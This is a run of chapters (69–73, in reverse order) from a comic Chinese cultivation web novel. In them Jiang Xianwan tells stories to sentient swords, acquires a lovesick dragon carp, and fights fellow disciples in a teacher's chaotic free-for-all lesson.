史无前例、前所未有啊! 一溜烟的亲传! 这得干了多天打雷劈的事啊! 明长老瞅了瞅自家六个眼含痛苦泪花的亲传,“这是?” 徐燕洲瞬间转移目标,集中炮火,“明长老!我还想问问你怎么教的弟子!” “别以为我不知道,你们这几日上课,天天炼的都是什么拉屎放屁丹!” “怎么,太虚宗现在成问丹堂的茅坑了?” “要不要骑我头上拉!” 一宗之掌门,恐怕第一次在整个宗门面前失态,吐露粗鄙之语。 明显,跟着疯了。 明长老:“……”关他什么事?要怪也得怪林玉锦和江献晚啊,把他徒弟全带歪了。 其他长老明智保持沉默,望天,不过,在听到徐燕洲气的七窍生烟,嘚吧嘚吧,讲出龙去脉之后,看戏的面庞开始……扭曲。 啊……这? 徐燕洲指着长老们又狠训了一通,花不休不以为然,适时开口。 他拢着及地的阔袖,松松懒懒的站着,话说的漂亮,“消消气,你看这事整的,竟敢把一宗之主带入话本,回头我好好罚她。” 江献晚:“……”为什么听着花美人人模狗样的话,反而觉得更不踏实了呢? 果然,花不休话音轻飘飘一转,“她就不该讲掌门那本。” 江献晚:“……”别说了!您快别说了!!!花不休为什么会知道啊! 花不休说着,在江献晚眨的抽搐不止的眼皮下,掏出厚厚的一摞话本,随手一翻。 “你说她讲哪个长老不好,竟敢讲掌门你。” “当然,她胆子还是没那么大的,你们看,帝尊这本就没讲。” 徐燕洲:“……?!” 众长老:“……?!” 这特么叫胆子不大? 绝对是还没讲到! 贴饼的一排亲传齐刷刷扭头扫视江献晚,无不谴责。 还有其他的! 还有帝尊的! 你为什么不先讲帝尊的!!! 江献晚:“……” 徐燕洲看着最上面那本‘南境帝尊非我不可’,登时气的原地撅过去。 “说!这些都是在哪里弄的!” 听到还有长老的,众长老表情狰狞,撸起袖子,七手八脚去抢花不休手里的书。 花不休笑眯眯,挨个分发。 “别抢别抢,都有份,刘长老,铁长老,傻笑什么,你们也过来。” 刘长老铁长老:“……” “也不知她在哪弄的这些东西,还挺全,我觉得写的挺好的。” 众人:“……” 江献晚:“……”花美人,不是人。 一阵兵荒马乱过后,江献晚被徐燕洲列为重点对象,单独拎出在,倒贴在弟子栽进土里的竹竿上,晒太阳。 徐燕洲戒尺一下一下打在掌心,又开始暴躁的走来走去,“说!还有谁的!都给我交出来!” 江献晚:“……没。” “哦,北境的也有。”花不休打断她。 第 73 章 剑不见了 一群剑以剑老大为首,排着长龙队,鬼鬼祟祟避开弟子往凤仪台摸去。 躺在屋顶看星星的花不休淡淡斜瞥一眼睡的死去活来的劫雷,又乜向悉悉索索飞来的一串长剑,好整以暇侧了身。 剑很快来到凤仪台,望着眼前那棵闪闪发光的树,顿时明了。 那把名叫大聪明的剑小声道:“难怪她没来。” 一群准备把江献晚捅醒的剑,当即原谅了她。 剑老大不悦的睨向挂在树杈上的紫色劫雷,剑身金光一闪而逝,发出一道威压。 “我不许有任何东西伤害她,它要是敢动手,你们就给我上!” “收到!” 江献晚是被戳醒的,她盘腿坐在床上,两手托腮,眼底蓄着凌乱的雾气。 借着铺泄一室的月光,瞧清满屋子的剑,迷瞪半晌,终于想起自己今天忘了什么事。 她缓缓挺直脊背,说不心虚是假的。 “你们都来了?” 大聪明点点头,剑尖朝窗户外边一指,嗡嗡两声。 江献晚顺着瞅过去,眉尖顿时一抽。 它怎么又来了? 气性这么大,心眼这么小的吗? 见一群剑颇有义气的表示‘放心,这事包在它们身上’,江献晚瞬间觉得自己很不是人。 瞅瞅,多好的剑啊! 不仅不怪她失约,还很讲义气的要保护她。 江献晚知道剑想故事,一摆手,精神抖擞,“讲故事!先讲两篇西游记,再给你们讲帝尊魔尊都爱我!” 她披衣起身,看见周围空出一片的那把剑,好奇地咦了一声,把它捞过来,左看右看。 “好丑的剑。” 剑老大:“……” 它剑身本就黯淡于无的微芒,刹那间化作点点金光,消殇不见。 江献晚真的不记得它了。 但,还是一如既往不喜欢它。 其他剑:“……” 江献晚愣了愣,下意识安抚的摸了两下,不赞同,“它虽然长的丑,但你们怎么可以孤立它?” 剑:“……” 谁孤立谁? 明明是剑老大一个剑孤立所有剑! 所有的剑都在委屈,剑老大也很委屈,它不丑。 江献晚看着闹别扭的一屋子剑,“好了好了,知错能改就是好孩子,屋里太挤,咱们去院子里讲。” 剑鱼贯窜出屋子。 江献晚抄起睡的流口水的龙鲤,来到院中。 搬出一张躺椅,铺上软垫,准备好水果点心,将轮盘掏出来,顺便贴心地找了几张床单铺在草地上,让剑全躺上去。 剑老大从来没在江献晚面前受到过这种待遇,茫然的躺在最前最中间的位置。 江献晚看的点头。 这才对嘛。 大家都是一家剑,就应该团结友爱。 清清嗓子,掏出惊堂木往桌上这么一拍,“西游记第一篇,猴王初问世!” 剑肃然! 挂在树杈上的紫色劫雷一个激灵,从美梦中惊醒。 “话说,东胜神州傲来国海滨有座山……” 而此刻,月上柳梢,一道鬼魅般的雪色身影直奔后山。 待看到空空如也的剑冢,整个人都傻了。 剑呢? 她剑呢! —— 太虚峰。 顶峰。 徐燕洲身着鸦青色掌门袍服,悠闲地坐在凉亭下,一边品茗,一边看云卷云舒云起云落,别提多潇洒。 “不好了掌门!” 一声大嗓门极具穿透力,徐燕洲手一抖,险些将茶盏丢出去,“刘长老,大清早的你喊什么?” 刘长老风风火火赶来,气的一拍桌子,“这群兔崽子今天一个都没来上课!” 徐燕洲:“……一个都没去?” 刘长老在问剑堂授课。 “对啊!我找了一圈,一个人影都没看到!” 徐燕洲不在意的摆手,“他们不是被江献晚挂在树杈上晒月亮吗?可能还没化呢,你去那找。” “找过了!人都没了!” “不好了不好了!” 刘长老话音刚落,铁长老火急火燎地跑过来,“掌门!剑不见了!” 闻声,徐燕洲眉一竖,双眼一瞪,咬牙从牙缝里挤出几个字,“铁长老!你说谁贱!” 太过分了! 竟敢当面问他贱不贱! 铁长老一愣,无语地解释,“我没说你贱,我说剑不见了!” 刘长老:“……”什贱不贱了?还不是贱? 见俩人都瞪他,铁长老急的一拍桌,“我说剑冢的剑不见了!” “今天我去后山,发现一个剑都没了!” 徐燕洲:“……开什么玩笑,剑冢怎么可能没剑!” 不会是跟林轻染跑了吧! 这群背叛宗门的小贱贱! 想到这种可能,三人拔腿,匆匆往后山去了。 另一边,江献晚的队伍早已壮大几圈。 苏清流三人听到动静,闻声过来。 望着那一条挂在树梢随风飘荡,从头到尾写满痴迷的紫色劫雷。 还有一群躺在床单上,认真听故事的剑。 当然是……选择加入。 一兜冰块晒了两个时辰的月亮终于齐心协力,破冰而出,咬牙切齿地冲上凤仪台,冲进江献晚的院子,跟着陷入沉默。 什么? 女主怀的双胞胎不是同一个父亲? 双胞胎一个是仙体,一个是魔体? 怎么可能! 他们准备听听……再报仇。 这么一听,就入迷了。 江献晚看了看列队整整齐齐的剑,再看盘腿坐在地上的一群亲传,抬手一指。 “秦师兄,麻烦你出列,对,还有你楚师姐,你也出来。” “那个祝师姐,你会弹琴不?麻烦来一曲有气氛的音乐,哦,要缠绵一点的。” 祝茵曼立刻掏出琴放在腿上。 秦秦和楚微凝不知她搞什么,还是茫然的乖乖站起来。 “我说,你们演。” 秦秦楚微凝:“……?” “好!”林玉锦啪啪啪拍起了手。 所有人双眼一放光,跟着拍手叫好! “快演快演!” 甚至打赏般,扔出几块灵石。 剑更是激动地直嗡嗡。 画面感这不就来了? 音乐起,小调儿上来,江献晚嗓音忽而一低。 “徐燕洲修长分明的手指擒着苏软软纤细的腰肢,另一只如寒玉般的手指掐着苏软软的下巴。” 秦秦楚微凝:“……?” “秦师兄,你看我做什么,快掐啊!” 秦秦没敢掐楚微凝的腰,犹犹豫豫拿两根指头,捏住她的面颊。 第 72 章 剑找人 江献晚跳来跳去,一边躲避火焰一边暴打回去,还不忘嘴贱,仇恨值直接拉满。 “唉,打不着,就是玩。” 花不休看的很是满意。 年轻人,就该这么的有朝气。 瞅瞅,这小速度,这小经验,不就上来了吗? 花不休悠哉悠哉地喝了两壶茶,吃了三盘荔枝,看着乌漆麻黑衣衫破烂,各个挂彩的亲传,终于好心的收回异火,撤了结界。 结界消失的一瞬间,四道青影,商量好似的,撒丫子就跑! 剩下的亲传差点气笑,于是跟着拔腿,在后面拼了命的追! 秦秦还在不走心地打酱油,时长霄觉得苏清流的剑意很特别,老鹰捉小鸡的感觉又很有趣,开开心心加入长跑队伍。 “不是,这些事只有我们错了吗?” “难道你们就没错吗?” 江献晚是敌人最多的那一个,边跑边吼。 “你们这群没头脑,我好心让你们提前感受一下社会的险恶。” “你们不感谢我也就算了,竟然还要欺负我这个刚回到母亲怀抱的可怜师妹!” “请苍天!辨忠奸!” “我呸!”众峰亲传齐呸。 他们错了? 他们错哪了? 没她脸皮厚,还是没她狗? 她还好意思说自己是师妹?还可怜? 谁家师妹专往死里坑自家人? 跟人沾边的事,她是样样不做! “我们没头脑?哈哈!还不是你们太没道德!” “要不要点脸!” 林玉锦反手一张爆炸符,“去你大爷!好意思说别人没道德?说的跟你们太虚宗的弟子有这个东西似的!” 场面太激烈,以至于短暂的忘记自己是太虚宗一份子。 白子夜一笔向后抽去,“嘻!自己不行,还怪别人行,打不过就赶紧回家种地。” 楚微凝哈哈气笑了,一把推开想做和事佬的秦秦,“师兄,你能不能一边待着去!好啊!我们不行,行!今儿我就让你看看谁不行!” 说罢,一摆手,剑修的威严显露无疑,“大家伙抄家伙给我上!” “打死江献晚!” “打死林玉锦!” “打死白子夜!” “打死苏清流!” 裴长安三人视线追随着头顶嗖嗖掠过的数道身影,目瞪口呆。 太虚宗亲传……名不虚传。 —— 一群烟熏火燎的亲传弟子,绕着太虚宗所有峰头,来来回回,足足跑了几百圈,从晌午狂奔到天色落幕。 长老们难得轻易默许了众亲传的翘课行为,顺便原谅了回到母亲怀抱,第一次上课就翘课的四个崽子。 直到其他弟子都看累了,长老也看累了。 江献晚跑的两腿发酸,眼看气喘吁吁,还死命紧咬在屁股后面的亲传,抓出龙鲤,“鱼小白,来,让他们冷静冷静!” 再跑下去,她鞋底都冒火星子了! 主要午饭都没吃上,晚饭不能再错过。 终于轮到龙鲤出场。 它一个鲤鱼打挺,跃至半空,嘴巴一张,朝着一群呲牙咧嘴的亲传喷出一串巨大的泡泡。 眨眼间变成了冰块的时云霄等人:“……!” “漂亮!”林玉锦猛地一个刹车,江献晚顺手抛出一张巨大无比的蜘蛛网,兜住一个个从空中坠落的冰雕。 振臂一抖,求助,“大师兄!” 三个少年身形一闪,配合默契,各自抓上蜘蛛网一端。 将蜘蛛网挂在树杈上……晒月亮。 打算解救自家兄弟姐妹的弟子想了想…… 算了。 死贫道不死道友。 那小鱼也不知道什么灵兽,看起来挺能喷的。 亲传先是被火烧了半天,又被冻成冰块,眼睛里喷出的火,恨不能将冰块烧穿,再将四人烧穿。 江献晚太特么狗了!!! 林玉锦伸手戳了戳瓶子里的龙鲤,“鱼小白,没想到你这么厉害啊。” 龙鲤得意地摇摇尾巴。 苏清流看了眼一网兜的冰块,“能维持多久?” 鱼小白嘴巴一张,“最起码也要两个时辰。” 一兜人形冰块:“……!”两个时辰! “要不我再吐些泡泡,让他们冻三天三夜?” 这下,时云霄都绷不住了,他们说不出话,只能拿眼珠子瞪始作俑者。 江献晚,你特么给我等着! 江献晚揣起龙鲤,骄傲的将脑袋瓜子一抬,同三个师兄肩并着肩,快快乐乐走了。 他们没注意到的是,盘成麻线,正躲在云层里的紫色劫雷津津有味地瞧了半天,并悄咪咪地跟上了江献晚。 四人美美地吃了一顿丰盛的晚饭,晃晃悠悠回到凤仪台。 真好,又是美好的一天。 江献晚飞快洗过澡,大喊一声爽,将自己瘫在床上。 龙鲤被她颠了一天,鱼泡差点颠出来,翻着肚皮躺枕头上,偶尔张开嘴吐出一个泡泡。 紫色劫雷趴在江献晚院墙上探头探脑,正准备大显身手,来个出其不意时,忽然感应到什么,嗖地一下躲了起来。 帝隐没管它,推门便看到一人一鱼睡的天昏地暗。 俯身捡起垂落在地上的被角,指尖轻轻将鱼尾巴从江献晚面颊上拨开,将鱼推的远些,悄无声息出了门。 他雪眸缓缓乜向院中常盛的桃花树,“她在睡,等着。” 紫色劫雷:“……” 迎着男人清冽的雪眸,知道现在是劈不了江献晚,一点头:行。 帝隐缓步离去。 紫色劫雷:“……”哼,等着就等着! 它这么一等,挂在树杈上迷迷糊糊睡了过去。 而后山,满心欢喜,望眼欲穿,等江献晚过来为它们讲故事的剑,又开始了骚动。 眼看月亮挂上树梢,江献晚还不来。 想到她今天是如何花言巧语哄那条鱼的,剑凑在一块商量了一会儿,得出个结论—— 江献晚就是个骗子! 说好的讲师徒四人取经呢! 丢了! 还是她自个取经去了? 躺在蜘蛛网上的剑老大,似乎更低迷了。 它原本就不知道怎么同江献晚相处,听到它们议论的声音,不悦的释放出一道微弱剑意。 不许说她不好! 其他剑霎时安静如鸡。 剑老大翻来覆去,纠结许久,还是打算去寻她。 强撑着浑噩的神智,小心翼翼地从蜘蛛网上弹起来,晃晃荡荡的飞向结界。 剑身出鞘,割开一点缝隙。 其他的剑:“……”那它们呢? “我们呢?” “我也想去!” “剑老大再打我们怎么办?” “看我的!老大老大,我最亲爱地老大~” 一把剑谄媚的跟在剑老大屁股后面,左右扭扭身子,“老大,可以带上我吗?人家真的求求您了~” 其他剑:“……”大聪明,脸不要了是吧? 剑老大沉吟片刻,剑身略微一点。 带它们去,江献晚应当不会掰它。 其他剑:“……”这么说的话,那它们脸也不要了! “老大!我也!” “老大老大!” “嘤嘤嘤!” “汪!” 第 71 章 互相残杀 花不休瞪了眼身在江湖,满脸写着‘我无辜’的孽徒,慢条斯理收回目光,“今日由我为你们授课,不过。” 他话音一转,“屋子太小,出去集合。” 凳子还没暖热的亲传,怀揣着忐忑的心情,排着队来到外面的空地上。 花不休微微屈起一条长腿,斜倚在门框,端的万种风情,恣意洒脱。 视线点过江献晚腰间的透明小瓶子,唇角浮出一抹若有似无的弧度。 “今日咱们上个不一样的课。” 亲传面面相觑,怎么个不一样? 为什么觉得后背有点凉,头皮有点麻? 一时间没人吭声。 苏清流绷紧了唇角,还有一丝隐约的幸灾乐祸。 太好了,大家都可以享受到了。 要挨揍,一起挨揍。 要丢人,一块丢人。 最好,待会可以顺手暴打时云霄和秦秦。 花不休看的有趣,抬手间,流转着火流纹的结界悍然拔地而起,将亲传尽数笼罩。 随即,掏出一把竹椅,躺下,“开始吧。” 亲传:“……”开始什么? 几个亲传偷偷去戳站在最前方的时云霄和苏清流。 见苏清流装死,时云霄掩唇咳嗽了一声,硬着头皮,“小师叔,开始什么?” “互相残杀啊。”花不休拖着散漫的腔调,自顾自的掏出一盘荔枝,“哦,对了,先出局的前四十,待会将由我亲自操练。” 他将亲自二字咬的略重,尾音还带着一丝毛骨悚然的笑意。 亲传齐齐打了个激灵。 刨去四十人,那不就只剩一人了么! 操练? 怎么操练? 花不休像是知道他们在想什么,挥袖又布下一道结界,微微勾唇,“就是这样操练。” 望着另一个结界内兴奋蹦来跳去的火焰,亲传们陷入一阵阵绝望。 这特么有几百朵了吧? 确定只是操练,不是火化! 他们虽然没道德,没节操,可……罪不至死啊! 就在花不休话音刚落,亲传还在忧伤,苏清流和江献晚首先回过神,一人一鞭腿将最近的四个亲传扫了出去! 苏清流最大的目标是时云霄,后者早有防备,一蹦老高。 白子夜和林玉锦反应更是不慢,抬腿连踹四个亲传! 八个亲传:“……!” “卧槽!” “这不算!剑尊还没说开始!” “江献晚!亏我这几日还有点喜欢你了!” “好哇!又特么干这缺德事!你是缺德的祖宗吗!” “你们凤仪台的人能要点脸吗!” 林玉锦撸起袖子,朝其中一个亲传狂喷回去,“你个狗东西!你说你喜欢谁?” “贱人!” 刚才没能打时云霄一顿,林玉锦这会儿头发都气炸了。 白子夜歪头,阴阳怪气,“嘻!要不要先鞠个躬,再给你们报个名?” “哥哥~人~家~要~开~打~了~” 八个亲传:“……” 听到凤仪台三字,花不休一挑眉,挥袖将那八个亲传呼啦啦扇进那满是火焰的结界。 自己笨,好意思怪别人。 凤仪台的人不要脸? 想死? 众人:“……!” 叮叮当当,不知道又是谁先动的手,灵器碰撞声如冰裂四起,带出一片绚烂的光幕,亲传刹那间混战成一团! “江献晚最狗!我建议大家团结起来,先将她削出去!” 不知哪个弟子急吼吼,吼了这么一句。 在秘境被江献晚他们坑了一把的弟子,纷纷举手表赞同。 早就想报仇了! 当一人激情澎湃的发出号召,大约会……引起从众效应。 转眼间,除了凤仪台亲传,各峰亲传弟子,灵气纷如雨下,凌势肆意,朝江献晚劈头盖脸而去。 秦秦骨腕一折,剑下意识挡在江献晚面前,谁知,被苏清流和白子夜合力,两脚狠踹出了结界。 狗东西! 敢惦记他们的小师妹! 被一袖扇进另一个温度高的令人发指的结界中的秦秦:“……!” 江献晚一锅碎了不知是谁劈下来的几道剑意,还挺嚣张,“好哇,那我就先炸死你们!” 要玩完,大家一起玩完。 都别活! 闻言,三个青衣少年同时摸衣袖,找符纸。 对,炸死他们。 粗暴又简单。 还爽。 花不休嗓音淡淡,却刚好拦下四人摸芥子囊的动作,“禁止用符纸和丹药这些任何与法器无关的东西。” 打辅助,想的美。 他们只能被他的火,烧成四撮灰。 四人:“……” “哈哈哈!傻脸了吧!” “你们也就这点招数了!呔!吃俺老孙一剑!” “江献晚!再吃老娘一唢呐!” “兄弟姐妹们!上啊!” “嗷嗷嗷!” 各峰亲传嗷嗷若疯狗,江献晚回以呵呵,显然比他们更疯。 她力量肆意展现,攻守兼备,随手扇飞两个弟子。 一手叉腰,顺便吹了个牛。 “来啊!弄死我啊!不是我吹,两境三域,也不打听打听姐姐我是谁!” 林玉锦左躲右闪,不忘捧哏,“我小师妹拳打两境,脚踹三域,更何况你们这些区区小垃圾!” 苏清流:“……”有两个会拉仇恨值的师弟师妹是一种什么样的体验。 但……此话,对极。 亲传们被她往自己厚脸上贴金砖的发言气的七窍生烟,举起灵器呈包抄之势,强势紧逼。 “还说你没吹!我让你吹!让你在这吹!祝师姐都没你能吹!” “让我告诉你谁才是姐!还特么拳打两境,脚踩三域,今天我就先把你揍趴下!” “打倒江献晚!” “打倒林玉锦!” “打倒白子夜!” “打倒苏清流!” “打倒凤仪台!” 各峰亲传,已疯。 花不休眼皮子一跳:“……” 一群小兔崽子,你们知道你们在说什么吗? 谁给他们的勇气? 还打倒凤仪台? 光芒乱飞,一群亲传打的不可开交,江献晚反手一锅挡下楚微凝的剑和祝茵曼砸来的唢呐,“楚师姐,祝师姐,你俩是不是没吃饭?用力!” 楚微凝:“……?”毫不犹豫又赏她一剑。 祝茵曼:“……?”毫不犹豫又给她一唢呐。 江献晚眼泪汪汪。 她错了,这俩小东西,绝对吃了八碗饭! 各峰亲传拧成一股绳,损失十五人,好歹一起将江献晚踹了出去,背后三把剑又商量好似的,同时将林玉锦扫飞。 不一会儿,仅剩的几个亲传,在时云霄的带领下,将苏清流逼出去,被苏清流一剑反手劈出结界。 很好,所有亲传,一个不落,紧接着被花不休呼啦啦扇进另一个满是火焰的结界之中。 又是一集合,可谓是仇人见面,眼红的不能再红。 上蹿下跳,疯狂躲避火焰的各峰亲传,再次朝四人杀去。 依旧是乱成一锅粥。 第 70 章 下课后记得来找我 口吐人言,羞涩着摇晃着尾巴,打招呼,“二师兄,小师兄。” 林玉锦白子夜:“……?!” 啥玩意? 它说啥玩意? 苏清流恰巧过来,望着这一幕,陷入沉思,“小师妹,这鱼?” 江献晚拍了拍瓶子,“我拐的,鱼小白!” 龙鲤扭扭身子,甜甜叫道:“大师兄!” 苏清流:“……!” 想不到有一天,他会成为一条鱼的大师兄。 更想不到,他们除了要防男人,还要防一条鱼。 “哦,对了!”江献晚一拍脑袋,摸出三枚雪白的鳞片,“这是鱼小白送给你们的礼物,我差点给忘了。” 鱼小白一甩尾,半遮了粉红的鱼脸,只露出一只水汪汪的眼睛,含羞带怯,“我给晚晚的聘礼。” 三个少年:“……” 起锅! 烧油! 千防万防,没防住一条鱼。 认完鱼亲戚,四人一鱼结伴去半山腰听课。 没办法,进了大宗门,就是这么的不自由,还要上课。 想到那课程满满的表格,四人一致摆出一脸垂头丧气的模样。 江献晚四十五度角,忧伤望天:“两眼一睁,看不见未来。” 林玉锦仰起苍白的脸,看天空自由飘过的白云:“不敢睁开眼,希望是我的幻觉。” 白子夜也不笑了:“我多想回到家乡,回到破山头上,看它的草比腿长,来抚慰我的心伤。” 苏清流一言难尽:“……”大宗弟子,狗都不当。 太虚宗内外门弟子分别由内外门长老授课,外门课堂设在山脚下,内门和亲传则在半山腰。 上午半天的剑法操练,是每个弟子都要去的。 不管你修阵,炼丹,画符…… 总之,你可以不精剑术,但你得抗揍。 不过,这些不主修剑术的弟子,上午只需要呆在这里两节,然后就可以分散,去各自擅长的领域听课。 昨天颠了半天锅,生怕被拉出来当作反面教材,江献晚和林玉锦果断选择无视远远疯狂摆动小手,想要说什么的明长老,忙跟上苏清流和白子夜去问剑堂。 太虚宗有三峰主修剑术,分别是太虚峰,太灵峰,还有太誉峰,也是弟子最多的三个峰头。 宗门外门弟子,内门弟子,和亲传弟子,分别在问心堂,问境堂,问剑堂授课。 问剑堂课业是压力最大的,享受着亲传待遇,自然要比其他弟子更加努力,首当其冲,肩负宗门未来的发展和苍生之责。 问剑堂由三位长老轮流授课,掌门闲来无事,也会前来代课。 今日来授课的竟是……花不休! 四人暗道失策,对上挑眉看来的花不休,硬着头皮找了个最不起眼的角落坐下。 江献晚满脸忧伤,低声忧郁,“怎么也飞不出花花的世界。” 林玉锦悔的肠子都青了,汪的一下哭出声,“跑到这里,都没能跑出花美人的五指山。” 花美人授课? 教他们怎么抢人家的钱? 还是将弟子全部摁在地上暴揍一顿? 顺便再来个烧烤? 白子夜很难不赞同,毕竟花不休打人老疼了。 他可不想当着众人的面,被当成沙包摔来摔去。 “我希望我许过的愿望一路生花,而不是一路有花花。” 苏清流:“……” 好讨厌花。 早知道,应该先打听一下今日授课的是谁。 秦秦坐在他们前排,扭头接道:“其实,我也有点赞同。” 坐在他旁边的楚微凝跟着转过头,压低声音,“我在我们那峰头都听见你们几个被揍的老惨了,说真的,我有点害怕。” 祝茵曼打开书立起来,挡了脸,丝毫没发现自己拿倒了,“听我师尊说剑尊前几日把帝尊都打了,牛逼。” 江献晚:“……?” 李微云很想哭,“听说花师叔最残暴了,我这柔弱而可怜的丹修,今天还能活着回到丹心堂吗?” 他们觉得,凤仪剑尊教他们怎么闯祸,怎么放火烧山,又或者,怎么放火烧他们的可能性要大一点。 时云霄跃跃欲试,“我很好奇,花师叔今日是打算将我们都暴揍一顿,还是……对了,师妹,下课我找你有点事,咱俩聊聊。” 他话转的猝不及防,说最后一句时,看的是江献晚。 众人:“……?” “时师兄,你找她什么事?”楚微凝脱口问道。 众人点头,表示好奇。 三个青衣少年无声挺止脊背,三双眼死死盯他。 时云霄像是没感觉到,当然,很有可能故意将他们仨的反应全忽略,轻轻朝江献晚一眨眼睛,“行吗?” 江献晚:“行。” 时云霄余光扫过脸比翻书都快的苏清流三人,笑开花,“去你那还是我那?” 说说剑的事,再说说林轻染。 主要想争个抚养权。 众人:“……?”什么叫去你那还是去我那? 三个青衣少年一致倾身,手指搔痒难耐,眼含敌意,蠢蠢欲动,蓄势待发。 秦秦抿唇不语,其他亲传两眼兴奋,在线吃瓜。 却听。 时云霄自顾自道:“去我那吧,安静。” 江献晚:“……” 就在三个师兄冷脸站起身,四周响起连连“呀~”的拖长声音,花不休屈指轻轻一扣。 他一身出尘柔软的青衣,却硬生生穿出几分香艳,一条长腿搭在另一条腿上,举手投足间,不尽的风流,更趁眉心一痕火流纹潋滟。 扫过各个来不及收回八卦而锃亮眼神的亲传,和三个咬牙切齿,准备大打出手的孽徒,眉尾微微上挑,“静。” 课堂一静,针落可闻。 苏清流三人瞥了眼时云霄,落座,各峰亲传绷紧脊背,瑟瑟发抖,终于想起前方剑尊。 剑尊这个人,虽然亲和度极高,不似自家足不出户的帝尊。 就是挺癫的,闲来无事就烧山烧人烧东西,主打无差别焚烧。 待会兴致突起,别再把他们给烧了。 花不休一一掠过各个端正的快要板过去的弟子,定格在时云霄身上,轻轻勾唇,“下课后记得来找我。” 又似笑非笑道:“去我那吧,安静。” 言罢,眸光一划,笑意添三分,“你也来。” 秦秦:“……” 时云霄:“……弟子知错。” 这个抚养权……不争也罢。 不过,秦秦也想争抚养权? 幸好,他认错认的快准稳,完美逃过一劫。 下次绝不嘴贱,尤其当着凤仪剑尊的面。 鹅鹅鹅鹅鹅鹅! 众人:“……”鹅鹅鹅鹅鹅鹅鹅鹅! 第 69 章 只属于你的鱼 云为泽抵着唇珠,手肘轻搭在膝头,周身晕散着皎洁的朦胧月光,眉眼带笑,如花隔云端般。 眼底深处却闪过一抹诧异和深思。 那把剑剑灵格外虚弱,不知姓名,不知来历,从他发觉,便处于沉睡状态。 但不难看出,其主不凡。 如今却强撑着,都要亲近江献晚。 江献晚全然不知一群剑担惊受怕,而又崇拜狂热的盯了她一晚上,睡的那叫一个通体舒畅。 随着天边的地平线升起,江献晚在道道炽烫的瞩目中,伸了个大大的懒腰,迷迷糊糊醒来。 被她抱了一夜的剑老大,迅雷不及掩耳之势,以至于慌的在空中踉跄一下,趁机一头扎进土里。 江献晚没发现它,扭头看见一群剑……被滔天的委屈四面围裹。 心虚地抬起手,打招呼,“那个,昨晚太累,一不小心睡着了。” 为了平息剑的委屈,她把剩下的讲完,又附赠一篇白雪公主和七个小矮人。 “这样吧,为了表示我的歉意,我今天晚上还来。” “前提是你们得听话,到时候我给你们讲西游记,师徒四人斩妖除魔去西天取经的故事,比这个好听多了。” 剑满意了,不过,依旧没有让路。 她走了它们再挨打怎么办? 那个女的再来又该怎么办? 江献晚收起轮盘,觑向树下的空地,“这几日除了我谁都不会来后山,你们如果再打架,我可不来。” “还有,谁要做叛徒,跟她走,我就把它画下来,贴在灵碑上,所有太虚宗的一份子走过路过,都会狠狠唾弃它的。” “咱们再也不是一家子。” 这话,自然是说给地下那把剑老大听的。 剑一边乖乖答应,一边又开始委屈。 是它们想打的吗? 它们挨打还差不多。 地下的剑老大也很委屈。 它不是叛徒。 不偷那些笨剑,敢来偷它,它差点被那女的给契约了。 江献晚还不信它! 明明是那些笨剑对着那女的点头哈腰,它不打它们打谁! 只是小小的发了一下脾气,怎么了嘛。 所有的剑偷偷看向树下大片空地,直到感受到一丝微弱的剑意,忙欢天喜地让开位置。 “真乖,就应该这么团结!”江献晚满意颔首,又叮嘱道:“对了,我的网先放那里,你们不许弄破,我晚上要来睡的。” 说罢,摆摆手离开。 她刚转身,地下的剑老大便探出头,想跟上,又不敢。 犹豫一下,轻飘飘的落在蜘蛛网上,目送江献晚举步迈向结界。 江献晚径直穿过结界,从剑冢走出,嘴巴便惊悚的微微张大。 只见一条散发着熠熠光芒,脑袋上长着两只雪白龙角,体型巨大无比的大白鱼扑棱着鱼鳍,在空中划过一道梦幻的虚影。 无数冰雹裹着雪花,跟瀑布似的,纷纷砸在她脑袋上! 江献晚来不及跑,被鱼劈头盖脸扑个满怀,一口气没上来,登时翻了个白眼。 “小白!!!” “起来!信不信我把你起锅烧油!” 这大胖鱼,对自己的体重没点数吗? 江献晚险些喷出一口血。 龙鲤一听,委屈的拿鱼鳍打她脸,一边打一边哭,“你这个三心二意的女人!刚见面就说喜欢我,馋我的身子,现在多少天没来看我!” “亏我还把鳞送给你!每天想着你!呜呜呜!我不起!我就不起!我要砸死你!我要跟你同归于尽!” 望着这一幕的剑刷地竖起身,纷纷贴上结界,那叫一个精神抖擞,看热闹不嫌事大。 好像吃到了什么炸裂的大瓜。 躺在蜘蛛网上的剑则是剑身一颤,浑身散发出一股悲凉的气息。 江献晚脸很疼,两手掐住龙鲤的鳍,“你听我解释!” 龙鲤脑袋左右猛甩,“我不听我不听我不听!” 嘴上哭唧唧,还是悄悄收了冰雪之力,又缩小了一些。 江献晚见鱼失去理智,拿成串的豆大泪珠子疯狂给她洗脸,掐着它的鱼鳍,一晃,“你听我给你解释!” “我不想你的吗?” “我想你想的吃不好睡不着!可我能怎么办!” “就像你说的,你是鱼我是人!” 剑:“……”骗子!她明明睡了一夜!还吃苹果! “我也痛苦过,挣扎过,离开你的每一天我都过的无比煎熬!” “鱼小白!是不是要我把心剖出来你才会相信我地真心!” 剑:“……” 哇! 这不比童话故事好听? 谁都没发现,蜘蛛网上荡秋千的剑默默竖了起来,又开始散发出一股冰冷而绝望的寒意。 龙鲤呆呆的瞅着江献晚,鱼泪两行,哭着嗓子,干巴巴道:“真的?” “那你为什么不来看我?” “我为什么不看你你自己心里没点数吗?” 龙鲤想了想,脑瓜子一转,大声道:“他想拆散我们!” “对!”江献晚毫不犹豫把帽子扣在帝隐头上,“他要跟你抢老婆!” 闻言,龙鲤激动地扑棱鱼鳍,“就是!难怪他把我关在灵墟的雪山不准我出来!他故意的!” “他就是嫉妒你喜欢的是我!” “他想把我俩分开!” 它还是偷跑出来的! 龙鲤噗嗤一下缩小,睁着两只水汪汪的鱼眼,似乎下定了什么决心,“晚晚,我决定了,我要做你的鱼!只属于你的鱼!今生今世,来生来世,我们一人一鱼再也不分开!” 江献晚:“……” 不是。 发生了什么? 她就这么把帝隐的鱼拐跑了? 江献晚那叫一个后悔,早知道就不该逗脑子没眼睛大的鱼玩。 苦口婆心哄不走鱼,见它哭着举起鱼鳍又要来扇自己,只好找个瓶子将它一装,挂在腰间,准备等帝隐来了,把鱼还给他。 白子夜和林玉锦早就蹲在她院子里,准备一起去上课,看她腰上晃悠悠的瓶子,好奇地凑了过来。 林玉锦戳了戳瓶子,“咦?这是在哪抓的鱼?这么小怎么吃?” 两个问题,两箭正中龙鲤心,它气的鱼鳍哆嗦,嘴巴一张。 “咦?”白子夜有些诧异,“它脑袋上怎么长着两只角?” 眼看着鱼要发脾气,江献晚及时将泡泡堵回去,“别闹,这是我二师兄还有小师兄,都是一家人鱼。” 一家的? 